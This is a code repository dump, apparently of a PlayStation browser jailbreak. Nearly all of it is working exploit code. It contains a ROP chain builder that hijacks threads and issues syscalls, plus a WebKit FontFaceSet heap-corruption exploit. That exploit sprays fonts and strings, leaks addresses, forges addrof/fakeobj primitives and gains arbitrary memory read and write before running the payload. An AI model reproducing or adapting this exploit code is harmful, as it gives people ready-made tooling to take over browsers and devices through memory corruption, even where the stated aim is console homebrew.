chain.jmp_to_rsp(start_rsp); const stop_rsp = chain.get_rsp(); chain.set_branch_points(run_twice_condition, stop_rsp, not_equal_rsp); } await chain.run(); alert(`branch_counter: ${p.read8(branch_counter)} last kqueue: ${p.read4(branch_counter.add32(0x8))} `); } async function run_hax() { await userland(); } /* //sample 1 (syscall) pid_t pid = sys_getpid(); //sample2 (threaded rop) fun() { pthread_exit(0x11223344); } pthread_t thr; pthread_create(&thr, nullptr, fun, nullptr); pthread_join(thr, res); //sample 3 (branching, 'loop') int last_kqueue = 0; for(int i = 0; i < 2; i++) { last_kqueue = sys_kqueue(); } */ ================================================ FILE: index.html ================================================ pOOBs4 9.00 & pOOBs5 4.03
================================================ FILE: int64.js ================================================ function int64(low, hi) { this.low = (low >>> 0); this.hi = (hi >>> 0); this.add32inplace = function (val) { let new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0; let new_hi = (this.hi >>> 0); if (new_lo < this.low) { new_hi++; } this.hi = new_hi; this.low = new_lo; } this.add32 = function (val) { let new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0; let new_hi = (this.hi >>> 0); if (new_lo < this.low) { new_hi++; } return new int64(new_lo, new_hi); } this.sub32 = function (val) { let new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0; let new_hi = (this.hi >>> 0); if (new_lo > (this.low) & 0xFFFFFFFF) { new_hi--; } return new int64(new_lo, new_hi); } this.sub32inplace = function (val) { let new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0; let new_hi = (this.hi >>> 0); if (new_lo > (this.low) & 0xFFFFFFFF) { new_hi--; } this.hi = new_hi; this.low = new_lo; } this.and32 = function (val) { let new_lo = this.low & val; let new_hi = this.hi; return new int64(new_lo, new_hi); } this.and64 = function (vallo, valhi) { let new_lo = this.low & vallo; let new_hi = this.hi & valhi; return new int64(new_lo, new_hi); } this.toString = function () { let lo_str = (this.low >>> 0).toString(16); let hi_str = (this.hi >>> 0).toString(16); if (this.hi == 0) return lo_str; else lo_str = zeroFill(lo_str, 8) return hi_str + lo_str; } return this; } function zeroFill(number, width) { width -= number.toString().length; if (width > 0) { return new Array(width + (/\./.test(number) ? 2 : 1)).join('0') + number; } return number + ""; // always return a string } ================================================ FILE: rop.js ================================================ class rop { constructor(stack_size = 0x40000, reserved_stack = 0x10000) { this.stack_size = stack_size; this.reserved_stack = reserved_stack; this.stack_dwords = stack_size / 0x4; this.reserved_stack_index = this.reserved_stack / 0x4; this.stack_memory = p.malloc(this.stack_dwords + 0x2 + 0x200); this.stack_array = this.stack_memory.backing; this.stack_entry_point = this.stack_memory.add32(this.reserved_stack); this.return_value = this.stack_memory.add32(this.stack_size); this.initial_count = 0; this.count = 0; this.branches = this.return_value.add32(0x8); this.branches_count = 0; this.branch_types = { EQUAL: 0x314500, ABOVE: 0x314501, BELOW: 0x314502, GREATER: 0x314503, LESSER: 0x314504, }; } set_initial_count(count) { this.initial_count = count; if (this.count == 0) { this.count = this.initial_count; } } clear() { this.count = this.initial_count; this.branches_count = 0; for (let i = 0; i < this.stack_dwords; i++) { this.stack_array[i] = 0x0; } } increment_stack() { return this.count++; } set_entry(index, value) { if (value instanceof int64) { this.stack_array[this.reserved_stack_index + index * 2] = value.low; this.stack_array[this.reserved_stack_index + index * 2 + 1] = value.hi; } else if (typeof (value) == 'number') { this.stack_array[this.reserved_stack_index + index * 2] = value; this.stack_array[this.reserved_stack_index + index * 2 + 1] = 0x0; if (value > 0xFFFFFFFF) { alert("you're trying to write a value exceeding 32-bits without using a int64 instance"); } } else { alert("You're trying to write a non number/non int64 value?"); } } /** * performs `*rsp = value; rsp += 8;` */ push(value) { this.set_entry(this.increment_stack(), value); } /** * performs `*dest = value;` in chain */ push_write8(dest, value) { this.push(gadgets["pop rdi"]); this.push(dest); this.push(gadgets["pop rsi"]); this.push(value); this.push(gadgets["mov [rdi], rsi"]); } /** * performs `*dest = rax;` in chain */ write_result(dest) { this.push(gadgets["pop rdi"]); this.push(dest); this.push(gadgets["mov [rdi], rax"]); } /** * performs `*dest = eax;` in chain */ write_result4(dest) { this.push(gadgets["pop rdi"]); this.push(dest); this.push(gadgets["mov [rdi], eax"]); } /** * pushes rdi-r9 args on the stack for sysv calls */ push_sysv(rdi, rsi, rdx, rcx, r8, r9) { if (rdi != undefined) { this.push(gadgets["pop rdi"]); this.push(rdi); } if (rsi != undefined) { this.push(gadgets["pop rsi"]); this.push(rsi); } if (rdx != undefined) { this.push(gadgets["pop rdx"]); this.push(rdx); } if (rcx != undefined) { this.push(gadgets["pop rcx"]); this.push(rcx); } if (r8 != undefined) { this.push(gadgets["pop r8"]); this.push(r8); } if (r9 != undefined) { this.push(gadgets["pop r9"]); this.push(r9); } } /** * helper function to add a standard sysv call to the chain. */ fcall(rip, rdi, rsi, rdx, rcx, r8, r9) { this.push_sysv(rdi, rsi, rdx, rcx, r8, r9); if (this.stack_entry_point.add32(this.count * 0x8).low & 0x8) { this.push(gadgets["ret"]); } this.push(rip); } /** * returns the current stack pointer. */ get_rsp() { return this.stack_entry_point.add32(this.count * 0x8); } /** * performs `rsp = dest;` in chain. * can be used to 'jump' to different parts of a rop chain */ jmp_to_rsp(dest) { this.push(gadgets["pop rsp"]); this.push(dest); } /** * function intended to build a reusable 'syscall' chain. * Having a syscall return an error makes the stub perform a push rax, a call and a push rbp, this would usually corrupt the rop chain for later reuse */ self_healing_syscall(sysc, rdi, rsi, rdx, rcx, r8, r9) { this.push_sysv(rdi, rsi, rdx, rcx, r8, r9); let restore_point = this.get_rsp(); this.push(gadgets["ret"]); this.push(gadgets["ret"]); this.push(gadgets["ret"]); if (this.stack_entry_point.add32(this.count * 0x8).low & 0x8) { this.push(gadgets["ret"]); restore_point.add32inplace(0x8); } this.push(syscalls[sysc]); this.push_write8(restore_point, gadgets["ret"]); this.push_write8(restore_point.add32(0x08), gadgets["ret"]); this.push_write8(restore_point.add32(0x10), gadgets["ret"]); this.push_write8(restore_point.add32(0x18), syscalls[sysc]); } /** * returns the next available branch */ get_branch() { return this.branches.add32(this.branches_count++ * 0x10); } /** * prepares a branch in the rop chain, for 32b comparisons on [addr] <-> compare value * use branch_types.XXXXX as type argument. * returns a ptr ptr for the branchpoints * use logical inversions for other jmp types. setne -> inverted sete, setbe -> inverted seta, ... */ create_branch(type, value_address, compare_value) { let branch_addr = this.get_branch(); this.push(gadgets["pop rcx"]); this.push(value_address); this.push(gadgets["pop rax"]); this.push(compare_value); this.push(gadgets["cmp [rcx], eax"]); this.push(gadgets["pop rax"]); this.push(0); if (type == this.branch_types.EQUAL) { this.push(gadgets["sete al"]); } else if (type == this.branch_types.ABOVE) { this.push(gadgets["seta al"]); } else if (type == this.branch_types.BELOW) { this.push(gadgets["setb al"]); } else if (type == this.branch_types.GREATER) { this.push(gadgets["setg al"]); } else if (type == this.branch_types.LESSER) { this.push(gadgets["setl al"]); } else { alert("illegal branch type."); } this.push(gadgets["shl rax, 3"]); this.push(gadgets["pop rdx"]); this.push(branch_addr); this.push(gadgets["add rax, rdx"]); this.push(gadgets["mov rax, [rax]"]); this.push(gadgets["pop rdi"]); let branch_pointer_pointer_idx = this.increment_stack(); this.push(gadgets["mov [rdi], rax"]); this.push(gadgets["pop rsp"]); let branch_pointer = this.get_rsp(); this.increment_stack(); this.set_entry(branch_pointer_pointer_idx, branch_pointer); return branch_addr; } /** * finalizes a branch by setting the destination stack pointers. * swap met and not met args if trying for an inverted jmp type. */ set_branch_points(branch_addr, rsp_condition_met, rsp_condition_not_met) { p.write8(branch_addr.add32(0x0), rsp_condition_not_met); p.write8(branch_addr.add32(0x8), rsp_condition_met); } /** * performs (*address)++; in chain */ increment_dword(address) { this.push(gadgets["pop rax"]); this.push(address); this.push(gadgets["inc dword [rax]"]); } } //extension of the generic rop class intended to be used with the hijacked worker thread. class worker_rop extends rop { constructor(stack_size, reserved_stack) { super(stack_size, reserved_stack); p.pre_chain(this); } clear() { super.clear(); p.pre_chain(this); } async call(rip, rdi, rsi, rdx, rcx, r8, r9) { this.fcall(rip, rdi, rsi, rdx, rcx, r8, r9); this.write_result(this.return_value); await this.run(); return p.read8(this.return_value); } async syscall(sysc, rdi, rsi, rdx, rcx, r8, r9) { return await this.call(syscalls[sysc], rdi, rsi, rdx, rcx, r8, r9); } async run() { await p.launch_chain(this); this.clear(); } } class thread_rop extends rop { constructor(name = "rop_thread", stack_size, reserved_stack) { super(stack_size, reserved_stack); //we longjmp into the ropchain, longjmp overites the first entry stack entry with its own saved 'return address' this requires us to skip an entry. this.set_initial_count(1); //prepare lonjmp context p.write8(this.stack_memory, gadgets["ret"]); //ret address p.write8(this.stack_memory.add32(0x08), 0x0); //rbx p.write8(this.stack_memory.add32(0x10), this.stack_entry_point); //rsp p.write8(this.stack_memory.add32(0x18), 0x0); //rbp p.write8(this.stack_memory.add32(0x20), 0x0); //r12 p.write8(this.stack_memory.add32(0x28), 0x0); //r13 p.write8(this.stack_memory.add32(0x30), 0x0); //r14 p.write8(this.stack_memory.add32(0x38), 0x0); //r15 p.write4(this.stack_memory.add32(0x40), 0x37F); //fpu control word p.write4(this.stack_memory.add32(0x44), 0x9FE0); //mxcsr p.writestr(this.stack_memory.add32(0x50), name); //thr name } /** * returns created pthread_t as int64 */ async spawn_thread() { //add pthread_exit((void*)0x44414544); -> "DEAD" this.fcall(libKernelBase.add32(OFFSET_lk_pthread_exit), 0x44414544); await chain.call(libKernelBase.add32(OFFSET_lk_pthread_create_name_np), this.stack_memory.add32(0x48), 0x0, libSceLibcInternalBase.add32(OFFSET_lc_longjmp), this.stack_memory, this.stack_memory.add32(0x50)); return p.read8(this.stack_memory.add32(0x48)); } } ================================================ FILE: rop_slave.js ================================================ let my_worker = this; self.onmessage = function (event) { event.ports[0].postMessage(1); } ================================================ FILE: webkit.js ================================================ var PAGE_SIZE = 16384; var SIZEOF_CSS_FONT_FACE = 0xb8; var HASHMAP_BUCKET = 208; var STRING_OFFSET = 20; var SPRAY_FONTS = 0x100A; var GUESS_FONT = 0x200430000; var NPAGES = 20; var INVALID_POINTER = 0; var HAMMER_FONT_NAME = "font8"; //must take bucket 3 of 8 (counting from zero) var HAMMER_NSTRINGS = 700; //tweak this if crashing during hammer time function hex(n) { if ((typeof n) != "number") return "" + n; return "0x" + (new Number(n)).toString(16); } function poc() { var union = new ArrayBuffer(8); var union_b = new Uint8Array(union); var union_i = new Uint32Array(union); var union_f = new Float64Array(union); var bad_fonts = []; for (var i = 0; i < SPRAY_FONTS; i++) bad_fonts.push(new FontFace("font1", "", {})); var good_font = new FontFace("font2", "url(data:text/html,)", {}); bad_fonts.push(good_font); var arrays = []; for (var i = 0; i < 512; i++) arrays.push(new Array(31)); arrays[256][0] = 1.5; arrays[257][0] = {}; arrays[258][0] = 1.5; var jsvalue = { a: arrays[256], b: new Uint32Array(1), c: true }; var string_atomifier = {}; var string_id = 10000000; function ptrToString(p) { var s = ''; for (var i = 0; i < 8; i++) { s += String.fromCharCode(p % 256); p = (p - p % 256) / 256; } return s; } function stringToPtr(p, o) { if (o === undefined) o = 0; var ans = 0; for (var i = 7; i >= 0; i--) ans = 256 * ans + p.charCodeAt(o + i); return ans; } var strings = []; function mkString(l, head) { var s = head + '\u0000'.repeat(l - STRING_OFFSET - 8 - head.length) + (string_id++); string_atomifier[s] = 1; strings.push(s); return s; } var guf = GUESS_FONT; var ite = true; var matches = 0; var round = 0; window.ffses = {}; do { var p_s = ptrToString(NPAGES + 2); // vector.size() for (var i = 0; i < NPAGES; i++) p_s += ptrToString(guf + i * PAGE_SIZE); p_s += ptrToString(INVALID_POINTER); for (var i = 0; i < 256; i++) mkString(HASHMAP_BUCKET, p_s); var ffs = ffses["search_" + (++round)] = new FontFaceSet(bad_fonts); var badstr1 = mkString(HASHMAP_BUCKET, p_s); var guessed_font = null; var guessed_addr = null; for (var i = 0; i < SPRAY_FONTS; i++) { bad_fonts[i].family = "search" + round; if (badstr1.substr(0, p_s.length) != p_s) { guessed_font = i; var p_s1 = badstr1.substr(0, p_s.length); for (var i = 1; i <= NPAGES; i++) { if (p_s1.substr(i * 8, 8) != p_s.substr(i * 8, 8)) { guessed_addr = stringToPtr(p_s.substr(i * 8, 8)); break; } } if (matches++ == 0) { guf = guessed_addr + 2 * PAGE_SIZE; guessed_addr = null; } break; } } if ((ite = !ite)) guf += NPAGES * PAGE_SIZE; } while (guessed_addr === null); var p_s = ''; p_s += ptrToString(26); p_s += ptrToString(guessed_addr); p_s += ptrToString(guessed_addr + SIZEOF_CSS_FONT_FACE); for (var i = 0; i < 19; i++) p_s += ptrToString(INVALID_POINTER); for (var i = 0; i < 256; i++) mkString(HASHMAP_BUCKET, p_s); var needfix = []; for (var i = 0;; i++) { ffses["ffs_leak_" + i] = new FontFaceSet([bad_fonts[guessed_font], bad_fonts[guessed_font + 1], good_font]); var badstr2 = mkString(HASHMAP_BUCKET, p_s); needfix.push(mkString(HASHMAP_BUCKET, p_s)); bad_fonts[guessed_font].family = "evil2"; bad_fonts[guessed_font + 1].family = "evil3"; var leak = stringToPtr(badstr2.substr(badstr2.length - 8)); if (leak < 0x1000000000000) break; } function makeReader(read_addr, ffs_name) { var fake_s = ''; fake_s += '0000'; //padding for 8-byte alignment fake_s += '\u00ff\u0000\u0000\u0000\u00ff\u00ff\u00ff\u00ff'; //refcount=255, length=0xffffffff fake_s += ptrToString(read_addr); //where to read from fake_s += ptrToString(0x80000014); //some fake non-zero hash, atom, 8-bit p_s = ''; p_s += ptrToString(29); p_s += ptrToString(guessed_addr); p_s += ptrToString(guessed_addr + SIZEOF_CSS_FONT_FACE); p_s += ptrToString(guessed_addr + 2 * SIZEOF_CSS_FONT_FACE); for (var i = 0; i < 18; i++) p_s += ptrToString(INVALID_POINTER); for (var i = 0; i < 256; i++) mkString(HASHMAP_BUCKET, p_s); var the_ffs = ffses[ffs_name] = new FontFaceSet([bad_fonts[guessed_font], bad_fonts[guessed_font + 1], bad_fonts[guessed_font + 2], good_font]); mkString(HASHMAP_BUCKET, p_s); var relative_read = mkString(HASHMAP_BUCKET, fake_s); bad_fonts[guessed_font].family = ffs_name + "_evil1"; bad_fonts[guessed_font + 1].family = ffs_name + "_evil2"; bad_fonts[guessed_font + 2].family = ffs_name + "_evil3"; needfix.push(relative_read); if (relative_read.length < 1000) //failed return makeReader(read_addr, ffs_name + '_'); return relative_read; } var fastmalloc = makeReader(leak, 'ffs3'); //read from leaked string ptr for (var i = 0; i < 100000; i++) mkString(128, ''); var props = []; for (var i = 0; i < 0x10000; i++) { props.push({ value: 0x41434442 }); props.push({ value: jsvalue }); } var jsvalue_leak = null; while (jsvalue_leak === null) { Object.defineProperties({}, props); for (var i = 0;; i++) { if (fastmalloc.charCodeAt(i) == 0x42 && fastmalloc.charCodeAt(i + 1) == 0x44 && fastmalloc.charCodeAt(i + 2) == 0x43 && fastmalloc.charCodeAt(i + 3) == 0x41 && fastmalloc.charCodeAt(i + 4) == 0 && fastmalloc.charCodeAt(i + 5) == 0 && fastmalloc.charCodeAt(i + 6) == 254 && fastmalloc.charCodeAt(i + 7) == 255 && fastmalloc.charCodeAt(i + 24) == 14 ) { jsvalue_leak = stringToPtr(fastmalloc, i + 32); break; } } } var rd_leak = makeReader(jsvalue_leak, 'ffs4'); var array256 = stringToPtr(rd_leak, 16); //arrays[256] var ui32a = stringToPtr(rd_leak, 24); //Uint32Array var rd_arr = makeReader(array256, 'ffs5'); var butterfly = stringToPtr(rd_arr, 8); var rd_ui32 = makeReader(ui32a, 'ffs6'); for (var i = 0; i < 8; i++) union_b[i] = rd_ui32.charCodeAt(i); var structureid_low = union_i[0]; var structureid_high = union_i[1]; //setup for addrof/fakeobj //in array[256] butterfly: 0 = &bad_fonts[guessed_font+12] as double //in array[257] butterfly: 0 = {0x10000, 0x10000} as jsvalue union_i[0] = 0x10000; union_i[1] = 0; //account for nan-boxing arrays[257][1] = {}; //force it to still be jsvalue-array not double-array arrays[257][0] = union_f[0]; union_i[0] = (guessed_addr + 12 * SIZEOF_CSS_FONT_FACE) | 0; union_i[1] = (guessed_addr - guessed_addr % 0x100000000) / 0x100000000; arrays[256][i] = union_f[0]; //hammer time! pp_s = ''; pp_s += ptrToString(56); for (var i = 0; i < 12; i++) pp_s += ptrToString(guessed_addr + i * SIZEOF_CSS_FONT_FACE); var fake_s = ''; fake_s += '0000'; //padding for 8-byte alignment fake_s += ptrToString(INVALID_POINTER); //never dereferenced fake_s += ptrToString(butterfly); //hammer target fake_s += '\u0000\u0000\u0000\u0000\u0022\u0000\u0000\u0000'; //length=34 var ffs7_args = []; for (var i = 0; i < 12; i++) ffs7_args.push(bad_fonts[guessed_font + i]); ffs7_args.push(good_font); var ffs8_args = [bad_fonts[guessed_font + 12]]; for (var i = 0; i < 5; i++) ffs8_args.push(new FontFace(HAMMER_FONT_NAME, "url(data:text/html,)", {})); for (var i = 0; i < HAMMER_NSTRINGS; i++) mkString(HASHMAP_BUCKET, pp_s); ffses.ffs7 = new FontFaceSet(ffs7_args); mkString(HASHMAP_BUCKET, pp_s); ffses.ffs8 = new FontFaceSet(ffs8_args); var post_ffs = mkString(HASHMAP_BUCKET, fake_s); needfix.push(post_ffs); for (var i = 0; i < 13; i++) bad_fonts[guessed_font + i].family = "hammer" + i; function boot_addrof(obj) { arrays[257][32] = obj; union_f[0] = arrays[258][0]; return union_i[1] * 0x100000000 + union_i[0]; } function boot_fakeobj(addr) { union_i[0] = addr; union_i[1] = (addr - addr % 0x100000000) / 0x100000000; arrays[258][0] = union_f[0]; return arrays[257][32]; } //craft misaligned typedarray var arw_master = new Uint32Array(8); var arw_slave = new Uint8Array(1); var obj_master = new Uint32Array(8); var obj_slave = { obj: null }; var addrof_slave = boot_addrof(arw_slave); var addrof_obj_slave = boot_addrof(obj_slave); union_i[0] = structureid_low; union_i[1] = structureid_high; union_b[6] = 7; var obj = { jscell: union_f[0], butterfly: true, buffer: arw_master, size: 0x5678 }; function i48_put(x, a) { a[4] = x | 0; a[5] = (x / 4294967296) | 0; } function i48_get(a) { return a[4] + a[5] * 4294967296; } window.addrof = function (x) { obj_slave.obj = x; return i48_get(obj_master); } window.fakeobj = function (x) { i48_put(x, obj_master); return obj_slave.obj; } function read_mem_setup(p, sz) { i48_put(p, arw_master); arw_master[6] = sz; } window.read_mem = function (p, sz) { read_mem_setup(p, sz); var arr = []; for (var i = 0; i < sz; i++) arr.push(arw_slave[i]); return arr; }; window.write_mem = function (p, data) { read_mem_setup(p, data.length); for (var i = 0; i < data.length; i++) arw_slave[i] = data[i]; }; window.read_ptr_at = function (p) { var ans = 0; var d = read_mem(p, 8); for (var i = 7; i >= 0; i--) ans = 256 * ans + d[i]; return ans; }; window.write_ptr_at = function (p, d) { var arr = []; for (var i = 0; i < 8; i++) { arr.push(d & 0xff); d /= 256; } write_mem(p, arr); }; (function () { var magic = boot_fakeobj(boot_addrof(obj) + 16); magic[4] = addrof_slave; magic[5] = (addrof_slave - addrof_slave % 0x100000000) / 0x100000000; obj.buffer = obj_master; magic[4] = addrof_obj_slave; magic[5] = (addrof_obj_slave - addrof_obj_slave % 0x100000000) / 0x100000000; magic = null; })(); //fix fucked objects to stabilize webkit (function () { //fix fontfaceset (memmoved 96 bytes to low, move back) var ffs_addr = read_ptr_at(addrof(post_ffs) + 8) - 208; write_mem(ffs_addr, read_mem(ffs_addr - 96, 208)); //fix strings (restore "valid") header for (var i = 0; i < needfix.length; i++) { var addr = read_ptr_at(addrof(needfix[i]) + 8); write_ptr_at(addr, (HASHMAP_BUCKET - 20) * 0x100000000 + 1); write_ptr_at(addr + 8, addr + 20); write_ptr_at(addr + 16, 0x80000014); } //fix array butterfly write_ptr_at(butterfly + 248, 0x1f0000001f); })(); //^ @sleirs' stuff. anything pre arb rw is magic, I'm happy I don't have to deal with that. //create compat stuff for kexploit.js let expl_master = new Uint32Array(8); let expl_slave = new Uint32Array(2); let addrof_expl_slave = addrof(expl_slave); let m = fakeobj(addrof(obj) + 16); obj.buffer = expl_slave; m[7] = 1; obj.buffer = expl_master; m[4] = addrof_expl_slave; m[5] = (addrof_expl_slave - addrof_expl_slave % 0x100000000) / 0x100000000; m[7] = 1; let prim = { write8: function (addr, value) { expl_master[4] = addr.low; expl_master[5] = addr.hi; if (value instanceof int64) { expl_slave[0] = value.low; expl_slave[1] = value.hi; } else { expl_slave[0] = value; expl_slave[1] = 0; } }, write4: function (addr, value) { expl_master[4] = addr.low; expl_master[5] = addr.hi; if (value instanceof int64) { expl_slave[0] = value.low; } else { expl_slave[0] = value; } }, write2: function (addr, value) { expl_master[4] = addr.low; expl_master[5] = addr.hi; let tmp = expl_slave[0] & 0xFFFF0000; if (value instanceof int64) { expl_slave[0] = ((value.low & 0xFFFF) | tmp); } else { expl_slave[0] = ((value & 0xFFFF) | tmp); } }, write1: function (addr, value) { expl_master[4] = addr.low; expl_master[5] = addr.hi; let tmp = expl_slave[0] & 0xFFFFFF00; if (value instanceof int64) { expl_slave[0] = ((value.low & 0xFF) | tmp); } else { expl_slave[0] = ((value & 0xFF) | tmp); } }, read8: function (addr) { expl_master[4] = addr.low; expl_master[5] = addr.hi; return new int64(expl_slave[0], expl_slave[1]); }, read4: function (addr) { expl_master[4] = addr.low; expl_master[5] = addr.hi; return expl_slave[0]; }, read2: function (addr) { expl_master[4] = addr.low; expl_master[5] = addr.hi; return expl_slave[0] & 0xFFFF; }, read1: function (addr) { expl_master[4] = addr.low; expl_master[5] = addr.hi; return expl_slave[0] & 0xFF; }, leakval: function (obj) { obj_slave.obj = obj; return new int64(obj_master[4], obj_master[5]); } }; window.p = prim; run_hax(); }